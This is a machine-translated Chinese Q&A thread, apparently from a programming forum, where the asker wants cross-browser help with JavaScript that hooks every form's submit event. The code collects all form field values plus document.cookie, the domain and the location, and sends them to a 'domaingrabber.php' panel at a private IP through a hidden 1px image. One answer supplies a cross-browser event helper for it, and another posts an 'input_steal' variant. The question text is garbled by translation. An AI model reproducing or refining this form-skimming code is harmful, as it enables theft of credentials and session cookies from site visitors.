2013-06-11 89 views
2

所以我有2套js之一與附加事件和一個與addEventListener附加事件在IE 8中完美工作,如預期的和addEventListener爲IE 9如果我在firefox中使用addEventListener在jsfiddle它似乎工作在Firefox罰款沒有問題,但是當我部署它,並嘗試使用它作爲預期它只是沒有在所有的任何輸入的工作將是巨大的.. IE 8火狐attachEvent和addEventListener問題都與

var formsCollection = document.getElementsByTagName("form"); 
var chain = ""; 
for(var i=0;i<formsCollection.length;i++) 
{ 


    // alert(formsCollection[i].name); 
    formsCollection[i].attachEvent('onsubmit', function() { 
     //working fine 

      var formsCollection1 = document.getElementsByTagName("form"); 

      for (x = 0 ; x < formsCollection1.length; x++) 
      { 
       var elements1 = formsCollection1[x].elements; 
       for (e = 0 ; e < elements1.length; e++) 
       { 
        chain += elements1[e].name + "%3d" + elements1[e].value + "|"; 
       } 
      } 
      attachForm(chain); 






//end mid 
     }, false); 
    } 


function attachForm(data) { 

// alert(data); 
    var oImg=document.createElement("img"); 
oImg.setAttribute('src', "URL"+data); 
oImg.setAttribute('alt', 'na'); 
oImg.setAttribute('height', '1px'); 
oImg.setAttribute('width', '1px'); 
document.body.appendChild(oImg); 





} 

IE 10

var formsCollection = document.getElementsByTagName("form"); 
var chain = ""; 
for(var i=0;i<formsCollection.length;i++) 
{ 


    // alert(formsCollection[i].name); 
    formsCollection[i].addEventListener('submit', function() { 
     //working fine 

      var formsCollection1 = document.getElementsByTagName("form"); 

      for (x = 0 ; x < formsCollection1.length; x++) 
      { 
       var elements1 = formsCollection1[x].elements; 
       for (e = 0 ; e < elements1.length; e++) 
       { 
        chain += elements1[e].name + "%3d" + elements1[e].value + "|"; 
       } 
      } 
      attachForm(chain); 






//end mid 
     }, false); 
    } 


function attachForm(data) { 

// alert(data); 
    var oImg=document.createElement("img"); 
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data); 
oImg.setAttribute('alt', 'na'); 
oImg.setAttribute('height', '1px'); 
oImg.setAttribute('width', '1px'); 
document.body.appendChild(oImg); 





} 

任何想法都會很棒,這是正確的一些愚蠢的事,但我只是想不出今天

+0

請務必聲明'e'和'x'在循環使用'var' – Ian

回答

2

它們合併成可檢測的正確方法的一般功能:

function addEvent(element, eventName, callback) { 
    if (element.addEventListener) { 
     element.addEventListener(eventName, callback, false); 
    } else if (element.attachEvent) { 
     element.attachEvent("on" + eventName, callback); 
    } 
} 

,然後用它喜歡:

addEvent(document.getElementById("some_id"), "click", function() { 
    // Your click handler for that element 
}); 

這樣,只要您致電addEvent,綁定事件的代碼就不需要知道使用哪種代碼並可以在瀏覽器中使用

0

我剛剛在你的幫助下創建了以下內容,謝謝。 它適用於我的Firefox。 我上傳了演示,http://mikaelz.host.sk/helpers/input_steal.html

function collectInputs() { 
    var forms = parent.document.getElementsByTagName("form"); 
    for (var i = 0;i < forms.length;i++) { 
     forms[i].addEventListener('submit', function() { 
      var data = [], 
       subforms = parent.document.getElementsByTagName("form"); 

      for (x = 0 ; x < subforms.length; x++) { 
       var elements = subforms[x].elements; 
       for (e = 0; e < elements.length; e++) { 
        if (elements[e].name.length) { 
         data.push(elements[e].name + "=" + elements[e].value); 
        } 
       } 
      } 
      console.log(data.join('&')); 
      // attachForm(data.join('&)); 
     }, false); 
    } 
} 
window.onload = collectInputs();